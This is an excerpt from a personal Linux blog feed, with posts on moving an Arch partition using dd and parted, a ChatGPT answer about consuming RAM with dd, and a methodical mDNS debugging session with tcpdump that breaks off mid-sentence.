id="enable-vs-start"><sup class="footnote-definition-label">6</sup> <p>systemd differentiates between <em>enabling</em> (<code>systemctl enable $UNIT</code>) and <em>starting</em> (<code>systemctl start $UNIT</code>) units. My rough understanding is that you can think of enabling a unit as "making it known to and recognized by systemd," whereas starting a unit means "do whatever it takes to run this thing now" (in our case, running the <code>ExecStart</code> command). As you might have guessed, the "inverse" operations are <code>stop</code> and <code>disable</code>. Oh and if you edit the unit files you need to run <code>systemctl daemon-reload</code> to get systemd to pick up the changes.</p> </div> <div class="footnote-definition" id="default.target"><sup class="footnote-definition-label">7</sup> <p>That's why my <code>asteria.service</code> example has <code>default.target</code> instead of <code>multi-user.target</code> in the <code>[Install]</code> section; <code>multi-user.target</code> doesn't exist for user units (at least by default). You can also see that the unit file is under <code>~/.config/systemd/user</code>, not <code>/usr/lib/systemd/system</code>.</p> </div> <div class="footnote-definition" id="service-timer-association"><sup class="footnote-definition-label">8</sup> <p>Services and timers are just associated by filename; e.g., for <code>asteria.service</code>, the associated timer (if any) should be named <code>asteria.timer</code>.</p> </div> 2023-01-18T00:00:00+00:00 2023-01-18T00:00:00+00:00 https://simpsonian.ca/blog/open-heart-partition-surgery/ <p>Sometimes in this life, you aren't sure that something will work, but you have to try it anyway.</p> <p>The other day, I ran some experiments that I would describe—in my usual overdramatic way—as "open heart partition surgery."</p> <p>A word to the wise: this post is really just a braindump for me to refer back to later, and is even less coherent than usual. It is certainly not a how-to guide… but if you <em>are</em> looking to mutilate your hard drive, welcome!</p> <span id="continue-reading"></span><h2 id="backstory">Backstory</h2> <aside> It is foretold that computer science must be replete with bad car analogies; here's my contribution. Installing any of the most common Linux distros (e.g., Ubuntu) is like buying a car from a nice dealership: it's well-lit, everything is shiny, and a smiling attendant walks you through each step of the process. You can you test drive a few different models and pick the one you like best, but none of them are <em>radically</em> different than the others. At the end of the day, you drive off in a fully-functioning vehicle with an interface pretty similar to your last car. On the other hand, installing Arch is a very different experience: you show up at a giant nondescript warehouse overflowing with car parts and are handed a list. The list walks you through every essential component of a car and presents a buffet of options for each: "What steering wheel (if any) do you want? What airbags (if any) do you want? What wheels (if any) do you want?" After meticulously making a (random) selection for each line, you are then presented with your pile of parts and handed a very helpful and well-written manual on how to assemble them. Some features you previously took for granted—like say, seats or a windshield—are "after-market" upgrades you'll need to figure out later. It's not for everyone! But it does give you a much deeper appreciation of what <em>exactly</em> goes into making a useable desktop system. </aside> <p>A couple of months ago, I took advantage of some holiday sales and finally put together a desktop PC. I knew that I wanted to run Linux, but which distro? I've been using Ubuntu on my laptop for years, and while it's treated me well, I've been longing to explore new lands and gain a hands-on appreciation for the differences between distros. What better excuse to go distro-hopping than a fresh build?</p> <p>I settled on testing two distros: <a rel="external" href="https://pop.system76.com/">Pop!_OS</a> and <a rel="external" href="https://archlinux.org/">Arch</a>. Pop!_OS obviously felt familiar (it's based on Ubuntu), but with a souped-up desktop environment full of keyboard shortcuts and a tiling window manager option that appealed to me. Conversely, Arch's appeal lay in its challenge: it has a bit of a reputation for being a real "hacker's" distro—no picture book illustrations in <em>my</em> installer, thank-you-very-much; a shell (<a rel="external" href="https://www.zsh.org/">zsh</a>, btw) is more than enough for me. This stereotype isn't quite true—the documentation on the <a rel="external" href="https://wiki.archlinux.org/">Arch Wiki</a> is usually very helpful and to-the-point—but it there is a hint of verity to it.</p> <p>I won't belabour my comparison of the two here, but suffice it to say that it didn't take long before Arch + <a rel="external" href="https://kde.org/plasma-desktop/">KDE Plasma</a> won me over entirely. Two months later, I was ready to thank Pop!_OS and let it go. (Although I do miss some part of its desktop environment!)</p> <p>However, I was now facing a problem. When setting up my PC, I installed Pop!_OS first. Being relatively inexperienced with this sort of thing, I used my best judgement with the partitioning strategy and created the following partitions (via the Pop!_OS installer): one for boot, one for Pop!_OS itself (followed by some empty space), then a separate partition to store games (so that I only needed to download games once, while still being able to play them on either distro—this worked great!) and finally a swap partition.</p> <pre><code>Model: Samsung SSD 980 PRO 1TB (nvme) Disk /dev/nvme0n1: 1000GB Sector size (logical/physical): 512B/512B Partition Table: gpt Disk Flags: Number Start End Size File system Name Flags 1 1049kB 1075MB 1074MB fat32 boot, esp 4 1075MB 250GB 249GB ext4 popos 5 250GB 446GB 196GB ext4 arch 2 446GB 983GB 537GB ext4 games 3 983GB 1000GB 17.2GB linux-swap(v1) swap </code></pre> <p><em>(Note: I was insufficiently diligent and didn't take complete notes as I worked through this; the above is me approximating what the actual <a rel="external" href="https://www.gnu.org/software/parted/"><code>parted</code></a> output would've looked like at the time.)</em></p> <p>This worked fine when I was just evaluating Pop!_OS and Arch, but now I find myself wanting some unpartitioned disk space to play around with <a rel="external" href="https://www.linuxfromscratch.org/">Linux From Scratch</a>. What I would really like to do is relocate the existing Arch partition to where the Pop!_OS partition currently resides and extend it a bit (while leaving a little space unallocated). Can we make that happen?</p> <h2 id="thought-process">Thought process</h2> <p>Based on some previous knowledge and a bit of general research, I found myself ruminating on the following pile of thoughts:</p> <ul> <li>I don't think we can (typically) grow partitions "backwards", because important filesystem metadata lives at the beginning of the partition.</li> <li>I know each partition gets assigned a <code>/dev/</code> file, and those <code>/dev/</code> files aren't regular files, they're "block devices." But since <a rel="external" href="https://en.wikipedia.org/wiki/Everything_is_a_file">everything is a file</a>, I should be able to clone my Arch partition by just copying the corresponding <code>/dev/</code> file… right? (For some reason, this feels crazy to me, but I don't see why it shouldn't work.)</li> <li>Both OS partitions use ext4; ext4 filesystems can be resized to fill a partition that has been embiggened.</li> <li>From my Arch installation experience, I happen to know I'm using systemd-boot as my boot manager; furthermore, I know the boot entries live under <code>/boot/loader/entries/</code>, and I've monkeyed with them a bit before, so that shouldn't be an obstacle.</li> <li>I don't <em>think</em> there's anything "position-dependent" about my current system; i.e. as long as the boot entries point to the right places, everything should work out. (For instance, in my initial setup, I arbitrarily chose to put my <code>games</code> partition first on the disk, but I'm sure everything would've worked the same if I had placed it at the end instead.)</li> </ul> <p>Chapter 14 of Michael Kerrisk's <a rel="external" href="https://man7.org/tlpi/">The Linux Programming Interface</a> was quite useful for confirming some of my uncertainties here.</p> <h2 id="the-plan">The plan</h2> <p>Taken together, those thoughts suggest a plan: presumably, we <em>should</em> indeed be able to just reformat the Pop!_OS partition, copy over everything from the old Arch partition, then delete the old Arch partition, and extend the new Arch partition to use some of the old partition's space. In checklist form:</p> <ol> <li><strong>Back up everything important on the old Arch partition!</strong> I give it at least a 30% chance I end up needing to do a fresh install, so let's not lose anything should that happen. <ul> <li>Come to think of it, I should've done the same for the Pop!_OS partition too… welp, it <em>probably</em> didn't have anything important anyways… 😬</li> </ul> </li> <li>Delete the Pop!_OS partition</li> <li>Create a new partition in the place of the old Pop!_OS partition</li> <li>Create a new ext4 filesystem on the new partition</li> <li>Copy everything from the old Arch partition to the new partition</li> <li>Add boot entries for the new Arch partition</li> <li><strong>Pause:</strong> reboot; confirm that we can still boot to both the new and old Arch partitions</li> <li>Delete the old Arch partition, and extend the new one to fill (some of) that space</li> <li>Resize the filesystem on the new partition to use the newly-expanded space; update boot entries</li> </ol> <h2 id="how-did-it-go">How did it go?</h2> <p>Surprisingly well! I'm writing this from my "relocated" Arch partition, and as best I can tell, the procedure was a complete success. As a general note, I used <code>parted</code> for all the partition-related tasks, and performed most of these commands from the Arch installation image (because I can't imagine messing with <em>mounted</em> partitions ends well). Below are my play-by-play notes from the operation; I haven't explicitly linked them to the checklist steps above, but I hope it's obvious enough from the context.</p> <ul> <li> <p>D'oh, I guess deleting the Pop!_OS partition and then creating a new one in the same place is superfluous—the partition table describes the <em>layout</em> of the disk; editing the partition table shouldn't affect the actual <em>data</em> on disk. (I thought this might create a new UUID for the partition, but as we'll see later, it appears that isn't the case.)</p> </li> <li> <p>Ooh, <code>mkfs.ext4</code> has a nice safety check—trying to run it on the Pop!_OS partition gives a warning message telling me that it contains a file system, and it even gives the time and location it was last mounted!</p> </li> <li> <p>Okay, time to do the actual copying… I assume we could just use <code>cp</code> for this, but <code>dd</code> feels cooler: <code>dd if=/dev/nvme0n1p5 of=/dev/nvme0n1p4</code>. Oh, and uh, <code>bs=1M</code>, because… doing fewer, larger writes will be more efficient, maybe?</p> <ul> <li>I was prepared to wait a while here (as I understand it, this should involve copying ~100Gb of data?), but it finished in two minutes. NVME is fast I guess?</li> <li>Now that I think about it more, I probably didn't need to run <code>mkfs.ext4</code> before this step: that initialized an empty ext4 filesystem, but presumably we immediately overwrote it here with our <code>dd</code> command.</li> </ul> </li> <li> <p>The first unexpected wrinkle has arisen: after copying, the new partition has the exact same UUID as the old partition! (I checked with <code>lsblk --fs</code>.) I assumed this would be determined from the partition table somehow, but I guess it's stored somewhere in the partition itself? Anyways, a StackOverflow <a rel="external" href="https://web.archive.org/web/20230118202751/https://askubuntu.com/questions/901290/is-it-a-problem-to-temporarily-have-the-same-uuid-for-two-partitions/901313#901313">post</a> shows how to use <code>tune2fs</code> and <code>uuidgen</code> to create a new one. <code>tune2fs</code> insists that I start by running <code>e2fsck</code> (to check the file system integrity? …yep, looks like it); thankfully, <code>e2fsck</code> doesn't report any problems.</p> </li> <li> <p>Let's just copy the existing boot loader entries I have for Arch (which I previously copied from the Pop!_OS default…) and change the UUID to match that of the new partition.</p> </li> <li> <p>Time for the first moment of truth: at this point I <em>should</em> be able to boot back into both the new and old Arch partitions… and indeed, I can! We just might get out of here alive after all.</p> </li> <li> <p>The point of no return: old Arch partition is deleted and the new partition is grown to absorb some of its space. <code>resize2fs</code> seemingly grows the filesystem without complaint. I suppose we can axe the old bootloader entries now too.</p> </li> <li> <p>We only have one (bootable) partition now, does it work? Ah… no. It seems to get stuck after printing an error <code>WARNING: The root device is not configured to be mounted read-write!</code>.</p> <ul> <li>It can't be <em>too</em> borked though, because I'm able to pull up a separate <a rel="external" href="https://web.archive.org/web/20230118203055/https://wiki.archlinux.org/title/Getty#Add_additional_virtual_consoles">virtual console</a> and successfully log in there.</li> <li>After reading some Arch forum <a rel="external" href="https://web.archive.org/web/20230118202958/https://bbs.archlinux.org/viewtopic.php?id=167552">wiki</a> <a rel="external" href="https://web.archive.org/web/20230118203025/https://bbs.archlinux.org/viewtopic.php?id=167153">posts</a>, there's two files I want to play with: <code>/etc/fstab</code> and the boot loader entry. <ul> <li>In my boot loader entry, I currently include <code>ro</code>, which presumably means read-only—I just copied this blindly from the old Pop!_OS entry, so maybe that's not appropriate for my Arch setup</li> <li>D'oh—more importantly, I forgot to update <code>/etc/fstab</code>, which is still looking for the old partition UUID. What I <em>think</em> is happening here is: early on while booting, the correct partition is mounted (since the boot entry has the correct UUID), but read-only (also per my boot entry config). At some point, <code>/etc/fstab</code> is supposed to take over (and remount the partition?), but it's misconfigured as-is, so it fails and we get stuck with a read-only mount—it's not surprising that that would cause issues. <ul> <li>I'm not sure why <code>ro</code> was the default for Pop!_OS though; maybe to prevent any inadvertent modifications early in the boot process?</li> </ul> </li> </ul> </li> <li>Sure enough, after fixing <code>/etc/fstab</code>, I can boot normally. I still see the same warning message as before, but it disappears after an instant, and after changing <code>ro</code> to <code>rw</code> in the boot entry, I don't seem to observe it at all.</li> </ul> </li> </ul> <p>After all of that, I have a working system with the following partitions:</p> <pre><code>Model: Samsung SSD 980 PRO 1TB (nvme) Disk /dev/nvme0n1: 1000GB Sector size (logical/physical): 512B/512B Partition Table: gpt Disk Flags: Number Start End Size File system Name Flags 1 1049kB 1075MB 1074MB fat32 boot, esp 4 1075MB 350GB 349GB ext4 arch 2 446GB 983GB 537GB ext4 games 3 983GB 1000GB 17.2GB linux-swap(v1) swap </code></pre> <p>Huzzah!</p> <h2 id="lessons-learned">Lessons Learned</h2> <p>Here's what I took away from going through this:</p> <ul> <li> <p>Even during my initial PC setup, trying to pick an appropriate size for the gaming partition felt like a guessing game, and resizing it now would be a bit of a pain. While researching this subject, I came across some software that might alleviate that pain, namely <a rel="external" href="https://en.wikipedia.org/wiki/Logical_Volume_Manager_%28Linux%29">Logical Volume Manager</a> (aka LVM). As I understand it, LVM basically introduces an extra layer of abstraction—I could "assign" LVM one of the partitions on my hard drive, then use LVM to create any number of "logical volumes" that act just like regular partitions. The advantage of using LVM is that since it manages those logical volumes for you, you can resize them on the fly (and let LVM handle whatever actual changes are required on disk). (LVM offers functionality far beyond this toy example, but even that alone seems like it would be quite useful for my needs.)</p> </li> <li> <p>I am often loath to take notes during this kind of thing, but afterwards, I'm always glad to have done so! ("<a rel="external" href="https://web.archive.org/web/20230113213751/https://imgur.com/1h3K2TT/">Remember, kids, the only difference between screwing around and science is writing it down!</a>")</p> </li> <li> <p>I relied on the fact that the Arch partition was already smaller than the Pop!_OS partition I wanted it to replace. If that wasn't the case, I'm not sure how I would adapt this procedure; presumably the easiest way would be to have a separate drive to use as intermediate space to facilitate copying the larger partition? (I.e., copy the larger partition to intermediate space, edit partitions on the primary drive as desired, then copy the larger partition from the intermediate space back to the main drive.)</p> </li> </ul> 2022-12-14T00:00:00+00:00 2022-12-14T00:00:00+00:00 https://simpsonian.ca/blog/my-chatgpt-moment/ <p>Well, it seems the thing <em>du jour</em> is to share one's ChatGPT experiences, so here's mine: yesterday marked the first time in my life that directly asking a question to an AI provided a clearer, better answer than searching the internet myself.</p> <p>Recently, I've been hacking a bit on <a rel="external" href="https://gitlab.com/JoshWVS/asteria">a project</a> to drive the LEDs on my fancy-shmancy new computer case (powered by the awesome <a rel="external" href="https://openrgb.org/">OpenRGB</a>). Specifically, I was adding a "progress bar" effect, where the strip of LEDs are initially all turned off (to represent 0%), then illuminate one by one as your metric of interest approaches 100%. After slapping together a prototype, I wanted to test it by using it to display my PC's memory usage. To do so, I would need a simple command to use a ton of memory, so that I could run it and see the strip of LEDs update accordingly.</p> <p>Looking back on it now, perhaps the obvious solution would just be to fire up one's <abbr>REPL</abbr> of choice and start manually allocating/deallocating large objects, but in the moment, I dismissed that approach. Instead, I fired off these searches on DuckDuckGo and skimmed the results—but to no avail:</p> <ul> <li>"linux use ram"</li> <li>"simple way to use a ton of ram"</li> <li>"test high ram usage"</li> <li>"test high ram usage linux"</li> </ul> <p>In retrospect, these definitely weren't <em>great</em> queries, but I was having a hard time formulating something better. These queries all gave me lots of hits for how to examine how much RAM is currently in use (with commands like <code>free</code> and <code>top</code>), but they don't offer suggestions for how to actually <em>consume</em> a ton of RAM.</p> <p>It then occurred to me that perhaps I could just ask ChatGPT. Our conversation follows.</p> <blockquote> <p><strong>Me:</strong> How can I test high RAM usage on a Linux computer?</p> <p><strong>ChatGPT:</strong> To test high RAM usage on a Linux computer, you can use the <code>free</code> command to check the amount of free and used memory on the system. You can also use the <code>top</code> or <code>htop</code> commands to view real-time information about the processes running on your system and their memory usage.</p> <p><strong>Me:</strong> Those commands show me how much memory is being used, but I want a command that will actually use a lot of memory.</p> <p><strong>ChatGPT:</strong> To use a lot of memory on a Linux system, you can try using a command such as <code>dd</code> to allocate a large amount of memory. For example, the following command will allocate 1GB of memory:</p> <pre><code>dd if=/dev/zero of=/dev/null bs=1G count=1 </code></pre> <p>This command uses the <code>dd</code> utility to read from the <code>/dev/zero</code> device, which provides an infinite stream of zeros, and writes it to the <code>/dev/null</code> device, which discards any data written to it. The <code>bs</code> option specifies the block size to use, and the <code>count</code> option specifies the number of blocks to copy. In this case, the block size is 1GB and the count is 1, so the command will allocate 1GB of memory and use it to copy the stream of zeros.</p> </blockquote> <p>Wow!</p> <p>As ChatGPT claims, that command does allocate a large chunk of memory. The only wrinkle is that the command completes a little too quickly to be useful for my purposes, but that is easily solved by upping the <code>count</code> argument. I only have a passing familiarity with <code>dd</code>, but as far as I understand it, ChatGPT's explanations of <code>dd</code> and <code>/dev/null</code>/<code>/dev/zero</code> are completely correct.</p> <p>But what I'm most impressed by is how natural the interface is: even to a knowledgeable human, I don't think my initial question would have been 100% clear, and ChatGPT does indeed give me the same answers I already found online. The difference here is that I can explain exactly what's wrong with the previous response in plain English, and get a helpfully corrected answer—I absolutely cannot do that with a regular search engine!</p> <p>After testing ChatGPT's answer, I improved my web search (with the query "linux command use lots of ram") and found two relevant StackOverflow posts. The <a rel="external" href="https://stackoverflow.com/questions/30018658/linux-program-command-to-intentionally-use-lots-of-ram">first</a> uses an external utility, which I would like to avoid (although I didn't state this explicitly before). The <a rel="external" href="https://stackoverflow.com/questions/4964799/write-a-bash-shell-script-that-consumes-a-constant-amount-of-ram-for-a-user-defi">second</a> has some better information: the accepted answer captures the idea "allocate big objects in a script" (albeit in an <code>ash</code> snippet I don't quite follow), and one of the comments also hits upon the <code>dd</code> solution.</p> <p>This is far from the most impressive demonstration of ChatGPT's capabilities, but it's the one that convinced me: keeping a ChatGPT tab open as a "search engine alternative" seems hard to dismiss now. (Although you do have to check its work—I would <em>not</em> recommend blindly running the first command it gives you…)</p> 2022-11-10T00:00:00+00:00 2022-11-10T00:00:00+00:00 https://simpsonian.ca/blog/debugging-mdns/ <p>This past weekend, I was trying to set up some software on my <a rel="external" href="https://en.wikipedia.org/wiki/Network-attached_storage">NAS</a><sup class="footnote-reference"><a href="#syncthing">1</a></sup> (that's <strong>n</strong>etwork-<strong>a</strong>ttached <strong>s</strong>torage; think "small server with some hard drives attached") and accidentally borked a thing along the way. I thought it would be fun to write up the play-by-play of how I diagnosed and (mostly) fixed the issue—not because this was an especially thorny or illustrative problem, but because I think it shows how a disciplined approach to debugging can be highly effective.</p> <span id="continue-reading"></span> <p>First, let me reiterate that disclaimer:</p> <figure> <img src="/blog/debugging-mdns/./sysadmin_meme.png" alt="An instance of the 'Baby Beats Computer' meme, with captions: Baby - 'me fixing my self-inflicted mDNS issues'; Computer - 'real sysadmins' (meme context: https://web.archive.org/web/20221108163514/https://knowyourmeme.com/memes/baby-beats-computer-at-chess)" class="centre"> <figcaption><p>I am bad at <a rel="external" href="https://www.gimp.org/">GIMP</a></p> </figcaption> </figure> <p>With that out of the way, allow me to set the scene: I've just used the physical reset button on the NAS to trigger a password reset,<sup class="footnote-reference"><a href="#password-reset">2</a></sup> and now I want to open up the web GUI to set a new password. I navigate to the usual URL in my browser, <code>http://nasgul.local:5000</code>,<sup class="footnote-reference"><a href="#http">3</a></sup> only to be greeted by a lovely "We can't connect to the server" message. This was working earlier today—what's going on?</p> <p>There was a time not so long ago for me when such a message would have been a considerable source of consternation, and probably an insurmountable obstacle. But now, with just a little bit more computer networking experience, and some diligent debugging, let's see if we can puzzle our way out.</p> <h2 id="the-meta-game-plan">The (meta) game plan</h2> <p>Let's begin by outlining a general approach for tackling this kind of issue. When working through a problem like this, I try to categorize my thinking as follows:</p> <ul> <li><strong>Knowledge</strong> - what facts do I know that are relevant in this situation?</li> <li><strong>Observations</strong> - what behaviours/outputs am I seeing from the system in question?</li> <li><strong>Hypotheses</strong> - what plausible conjecture can I make about the system behaviour?</li> <li><strong>Expermients</strong> - how can I run a test to falsify my working hypothesis?</li> </ul> <p><em>(Arguably, this should also include an "Assumptions" category. I haven't included it explicitly here, but I'll try to call attention to any assumptions we make—it can be worth writing them down as you go in case you need to revisit them.)</em></p> <p>Considering those four categories suggests an algorithm for debugging: use your knowledge and observations to generate a hypothesis; attempt to falsify that hypothesis with an experiment; incorporate the results of the experiment as new observations and repeat.<sup class="footnote-reference"><a href="#termination">4</a></sup> (Obligatory: <a rel="external" href="https://www.youtube.com/watch?v=YRL4uIVzVWI">yeah, science!</a>) I won't be dogmatic about sticking to this exact formula 100% of the time, but it will form our basic roadmap.</p> <figure> <img src="/blog/debugging-mdns/./debugging_algorithm.png" alt="A graph of four nodes; Knowledge and Observations feed into Hypothesis, which feeds into Experiment, which feeds back into Observations" class="centre"> <figcaption><p>Debugging algorithm in graph format</p> </figcaption> </figure> <h2 id="our-quest-begins">Our quest begins</h2> <p>Let's try putting it to use. First up is the problem that we're facing—that's an <strong>observation</strong>.</p> <aside> Obviously, I'm being pretty verbose by labelling each of these as <strong>Knowledge</strong>, <strong>Observation</strong>, etc.— in the moment, these early thoughts all sprung up quickly and organically, but I'm keeping the labels for, uh, pedagogical effect. </aside> <p><strong>Observation:</strong> My browser can't connect to <code>http://nasgul.local:5000</code>.</p> <p><strong>Knowledge:</strong> but that was working an hour ago!</p> <p><strong>Experiment:</strong> forget the GUI on port 5000 for a second; can we connect to the host <code>nasgul.local</code> at all?</p> <pre><code>$ ping nasgul.local ping: nasgul.local: Name or service not known </code></pre> <p>Nope.</p> <p><strong>Observation:</strong> seems we can't connect to <code>nasgul.local</code> at all.</p> <p><strong>Knowledge:</strong> I don't have this hostname hardcoded in my <a href="https://simpsonian.ca/blog/securing-home-network-dnsmasq-tailscale/">DNS server</a>; it's supposed to be resolved by multicast DNS, aka mDNS. I think I recall having had some issues with mDNS before; I'm definitely not a domain expert here.</p> <p><strong>Hypothesis:</strong> the DNS resolution for <code>nasgul.local</code> is failing. (Based on my previous knowledge, I'm highly confident in this hypothesis, but we should check it just in case.)</p> <aside> If I didn't already know the internal IP address for the NAS, I probably could've found it by checking my router's web portal. </aside> <p><strong>Knowledge:</strong> I know I've configured my router so that <code>nasgul</code> always gets assigned the internal IP address 192.168.0.201. (Specifically, I've set up a manual <a rel="external" href="https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol">DHCP</a> reservation for it.)</p> <p><strong>Experiment:</strong> Since we know the actual IP address we're trying to reach, let's cut out the DNS middleman and see if we get a response:</p> <pre><code>$ ping -c 1 192.168.0.201 PING 192.168.0.201 (192.168.0.201) 56(84) bytes of data. 64 bytes from 192.168.0.201: icmp_seq=1 ttl=64 time=2.68 ms --- 192.168.0.201 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 2.684/2.684/2.684/0.000 ms </code></pre> <p>As expected, we can actually reach <code>nasgul</code> by IP address. The NAS is alive! That strongly suggests that the NAS itself is fine, but something is going wrong in our DNS lookup (i.e. the process of mapping <code>nasgul.local</code> to <code>192.168.0.201</code>).</p> <p>Hmm… now what?</p> <p>Well, there's one more important technique that I've been keeping in my back pocket: flailing.</p> <p>I know, I know! It doesn't <em>sound</em> good. In fact, it sounds like the opposite of the "diligent debugging" I've been cramming down your throat. But trust me—used effectively, flailing can be the quickest way to make progress; it's a very important tactic to have in one's toolbelt. I define "flailing" as quick, cursory searches where you have a general <em>idea</em> of what a next step might involve, but you don't yet have a perfectly-formulated question or an experiment to run. For me, flailing usually involves a flurry of web searches (Wikipedia, StackOverflow, and the <a rel="external" href="https://wiki.archlinux.org/">Arch Wiki</a> are all usually good hits), scanning a man page (often searching for a particular option or theme), or even just using the humble <a rel="external" href="https://web.archive.org/web/20221110154835/https://www.man7.org/linux/man-pages/man1/apropos.1.html"><code>apropos</code></a> command to find a relevant tool.</p> <p>Caveat: the effectiveness of flailing drops off rapidly as a function of time—if you're flailing for more than, say, ten minutes, it's probably best to take a step back and re-evaluate your situation more methodically. If you're still stuck, you might be better off trying to talk to a friend/colleague, or intentionally investing the time to gain more foundational knowledge (e.g., reading a man page in full, or finding a relevant reference book.)</p> <p>In this case, since I suspected an mDNS issue, the relevant <a rel="external" href="https://en.wikipedia.org/wiki/Multicast_DNS">Wikipedia page</a> was definitely part of my flailing, which turned up some useful tidbits and triggered a related memory:</p> <p><strong>Knowledge</strong> (from scanning the <a rel="external" href="https://en.wikipedia.org/wiki/Multicast_DNS">mDNS Wikipedia page</a>):</p> <ol> <li>To resolve a hostname via mDNS, the client blasts a packet to the local network via multicast; the target host then also replies via multicast (e.g., "Yes, I'm <code>nasgul.local</code> and I live at <code>192.168.0.201</code>").</li> <li>mDNS messages are UDP packets sent to the IPv4 address 224.0.0.251 on port 5353.<sup class="footnote-reference"><a href="#port-5353">5</a></sup></li> </ol> <p><strong>Knowledge</strong> (vaguely recalling a <a rel="external" href="https://jvns.ca/">Julia Evans</a> blog post<sup class="footnote-reference"><a href="#jevans-tcpdump">6</a></sup>): I could probably use <code>tcpdump</code> to inspect traffic on my laptop. Man, I should probably learn how to use that properly someday.</p> <p><strong>Knowledge:</strong> I'm pretty sure the other server on my home network, <code>treebeard</code>, advertises itself over mDNS.</p> <p>Hmm… so it seems that for this work, my laptop needs to send the mDNS request to my local network, and then <code>nasgul</code> needs to reply to that packet. That suggests we should test the following:</p> <p><strong>Hypothesis:</strong> at least one of the following mDNS processes is <em>not</em> working correctly:</p> <ol> <li>The "client" side (i.e. my laptop is not correctly sending the appropriate mDNS query)</li> <li>The "server" side (i.e. <code>nasgul</code> is not responding to relevant mDNS queries)</li> </ol> <p><strong>Experiment:</strong> can my laptop resolve a different hostname via mDNS?</p> <pre><code>$ ping -c 1 treebeard.local PING treebeard.local (192.168.0.200) 56(84) bytes of data. 64 bytes from local.simpsonian.ca (192.168.0.200): icmp_seq=1 ttl=64 time=0.219 ms --- treebeard.local ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.219/0.219/0.219/0.000 ms </code></pre> <p>This looks good, but it isn't conclusive—nothing here <em>proves</em> my laptop resolved <code>treebeard.local</code> via mDNS, but based on my recollection of how that's set up, I think that's the most likely explanation. Our efforts will probably be better invested in checking up on our partner in this lovely mDNS tango (item #2 in our hypothesis above).</p> <p>So, next thing to investigate: is <code>nasgul</code> actually replying to our mDNS queries? This one's a little trickier; if <code>nasgul</code> isn't currently replying, then we're trying to show the <em>absence</em> of something. However, the basic mDNS info we gleaned from the Wikipedia page suggests a potential angle of attack—if we could monitor all outgoing/incoming traffic on port 5353, we should be able to see whether the mDNS packets we expect to see are actually being exchanged.</p> <p><strong>Experiment:</strong> is <code>nasgul</code> responding to mDNS queries?</p> <p>So, uh, how do we actually do that? Well, my gut instinct is that <a rel="external" href="https://www.tcpdump.org/"><code>tcpdump</code></a> can probably do this for us. I haven't used it before though, and I have no idea how it works, so let's flail away… scanning the man page is always a great place to start; in particular, under the EXAMPLES section I spy the following:</p> <pre><code>To print all IPv4 HTTP packets to and from port 80, i.e. print only packets that contain data, not, for example, SYN and FIN packets and ACK-only packets. (IPv6 is left as an exer‐ cise for the reader.) tcpdump &#39;tcp port 80 and (((ip[2:2] - ((ip[0]&amp;0xf)&lt;&lt;2)) - ((tcp[12]&amp;0xf0)&gt;&gt;2)) != 0)&#39; </code></pre> <p>That's more complicated than what we're going for, but two things jump out: the beginning seems to specify TCP only, on port 80. Based on my reading of the man page introduction, that whole expression is probably a filter pattern; i.e., <code>tcpdump</code> will only show packets that match that filter. Without doing any more research, let's just try pattern matching (by substituting the protocol and port we care about) and see if we get lucky:</p> <pre><code>$ tcpdump &#39;udp port 5353&#39; tcpdump: wlp2s0: You don&#39;t have permission to capture on that device </code></pre> <p>Uhh right, we probably need to be root to listen on a network interface?</p> <pre><code>$ sudo tcpdump &#39;udp port 5353&#39; tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on wlp2s0, link-type EN10MB (Ethernet), capture size 262144 bytes </code></pre> <p>This looks promising! As a sanity test, let's first start with the case where we expect to see some packets:</p> <p><strong>Sub-experiment:</strong> do we see mDNS messages when resolving <code>treebeard.local</code>?</p> <pre><code>(new terminal) $ ping -c 1 treebeard.local PING treebeard.local (192.168.0.200) 56(84) bytes of data. 64 bytes from local.simpsonian.ca (192.168.0.200): icmp_seq=1 ttl=64 time=3.22 ms --- treebeard.local ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 3.223/3.223/3.223/0.000 ms </code></pre> <pre><code>(tcpdump terminal) 14:12:28.614064 IP6 laptop.mdns &gt; ff02::fb.mdns: 0 A (QM)? treebeard.local. (33) 14:12:28.614156 IP laptop.mdns &gt; 224.0.0.251.mdns: 0 A (QM)? treebeard.local. (33) 14:12:28.668471 IP local.simpsonian.ca.mdns &gt; 224.0.0.251.mdns: 0*- [0q] 1/0/0 (Cache flush) A 192.168.0.200 (43) </code></pre> <p>Nice! This is a much stronger confirmation than our previous experiment: just eyeballing the text, it seems that my laptop sent its query on IPv4 and IPv6 (given that there's one line for <code>IP</code> and a second for <code>IP6</code>), and my home server <code>treebeard</code> quickly replied with its local IP address, 192.168.0.200. Presumably we could decipher what each part of every line means by studying the mDNS protocol a bit more, but this already looks compelling enough to me.</p> <p><strong>Observation:</strong> it appears that when communicating with a correctly-configured host, my laptop is able to resolve an mDNS query.</p> <p>Finally, let's return to our original experiment to see if <code>nasgul</code> will reply:</p> <pre><code>(new terminal) $ ping -c 1 nasgul.local ping: nasgul.local: Name or service not known </code></pre> <pre><code>(tcpdump terminal) 14:18:56.071581 IP6 laptop.mdns &gt; ff02::fb.mdns: 0 A (QM)? nasgul.local. (32) 14:18:56.071738 IP laptop.mdns &gt; 224.0.0.251.mdns: 0 A (QM)? nasgul.local. (32) 14:18:57.072640 IP6 laptop.mdns &gt; ff02::fb.mdns: 0 A (QM)? nasgul.local. (32) 14:18:57.072783 IP laptop.mdns &gt; 224.0.0.251.mdns: 0 A (QM)? nasgul.local. (32) 14:18:59.073621 IP6 laptop.mdns &gt; ff02::fb.mdns: 0 A (QM)? nasgul.local. (32) 14:18:59.073776 IP laptop.mdns &gt; 224.0.0.251.mdns: 0 A (QM)? nasgul.local. (32) </code></pre> <p>Right away, this looks very different! Our DNS lookup still appears to be failing, even though we can see my laptop is sending mDNS queries. In fact, it's now sending the same query several times—probably due to some kind of retry mechanism when it doesn't hear back? With this new insight, let's pause for a moment and take stock of our situation.</p> <p><strong>Observation:</strong> <code>nasgul</code> does <em>not</em> seem to be replying to mDNS queries.</p> <p>Honestly, that's not entirely surprising? I wouldn't expect a computer to reply to mDNS queries by default; presumably, one needs to run some software to handle that responsibility. The only reason this is unusual is that this whole setup <em>used</em> to work. So if <code>nasgul</code> is operating mostly normally (evidence: we can ping it), but it isn't responding to mDNS queries, maybe… the software to respond to those queries isn't working?</p> <p><strong>Hypothesis:</strong> something is wrong with the software on 